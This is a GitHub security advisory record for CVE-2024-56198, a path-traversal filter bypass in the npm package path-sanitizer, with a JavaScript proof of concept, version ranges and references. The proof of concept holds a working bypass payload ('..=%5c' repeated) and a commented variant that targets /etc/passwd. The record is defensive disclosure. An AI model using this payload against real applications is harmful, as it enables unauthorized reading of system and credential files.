CVE-2024-56198: Path sanitizer Path-sanitizer Allows Bypassing The Existing Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-94p5-r7cc-3rpr",
  "modified" : "2025-01-02T12:52:43Z",
  "published" : "2025-01-02T12:52:42Z",
  "aliases" : [ "CVE-2024-56198" ],
  "summary" : "path-sanitizer allows bypassing the existing filters to achieve path-traversal vulnerability ",
  "details" : "### Summary\nThis is a POC for a path-sanitizer [npm package](https://www.npmjs.com/package/path-sanitizer). The filters can be bypassed and can result in path traversal.\n\nPayload: `..=%5c` can be used to bypass this on CLI (along with other candidates). Something similar would likely work on web apps as well. \n\n### PoC\nHere's the code to test for the filter bypass:\n\n```js\nconst sanitize = require(\"path-sanitizer\")\nconst path = require(\"path\")\nconst fs = require(\"fs\")\n\n// Real scenario:\nfunction routeHandler(myPath) {\n  // Lets just assume that the path was extracted from the request\n  // We want to read a file in the C:\\Users\\user\\Desktop\\myApp\\ directory\n  // But the user should be able to access C:\\Users\\user\\Desktop\\\n  // So we need to sanitize the path\n\n  const APP_DIR = \"/var/hacker\"\n  const sanitized = path.join(APP_DIR, sanitize(myPath))\n\n  // Now we would usally read the file\n  // But in this case we just gonna print the path\n  // console.log(sanitized)\n  return sanitized\n}\n\nfunction readFile(filePath) {\n  const absolutePath = path.resolve(filePath) // Resolve to absolute path\n\n  fs.readFile(absolutePath, \"utf8\", (err, data) => {\n    if (err) {\n      console.error(`Error reading the file: ${err.message}`)\n      return\n    }\n    console.log(`Contents of the file ${filePath} :\\n${data}`)\n  })\n}\n\ninput_user_bypass = \"..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5ctmp/hacked.txt\"\n// input_user_bypass = \"..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5cetc/passwd\"\ninput_user_payload = \"../../../../../../../../tmp/hacked.txt\"\n\nreadFile(routeHandler(input_user_bypass))\nreadFile(routeHandler(input_user_payload))\n```\n\nHere is a video POC: (this is a Loom POC, only users with the UUID of the video can see it) \n\nhttps://www.loom.com/share/b766ece5193842848ce7562fcd559256?sid=fd826eb6-0eee-4601-bf0e-9cfee5c56e9d\n\n### Impact\nAny CLI tool or library using this package can be/will be vulnerable to Path traversal.\n",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "path-sanitizer"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/cabraviva/path-sanitizer/security/advisories/GHSA-94p5-r7cc-3rpr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-56198"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/cabraviva/path-sanitizer/commit/b6d2319eac910dffdfacc8460f5b5cc5a1518ead"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/cabraviva/path-sanitizer"
  }, {
    "type" : "WEB",
    "url" : "https://www.loom.com/share/b766ece5193842848ce7562fcd559256?sid=fd826eb6-0eee-4601-bf0e-9cfee5c56e9d"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-01-02T12:52:42Z",
    "nvd_published_at" : "2024-12-31T16:15:27Z"
  }
}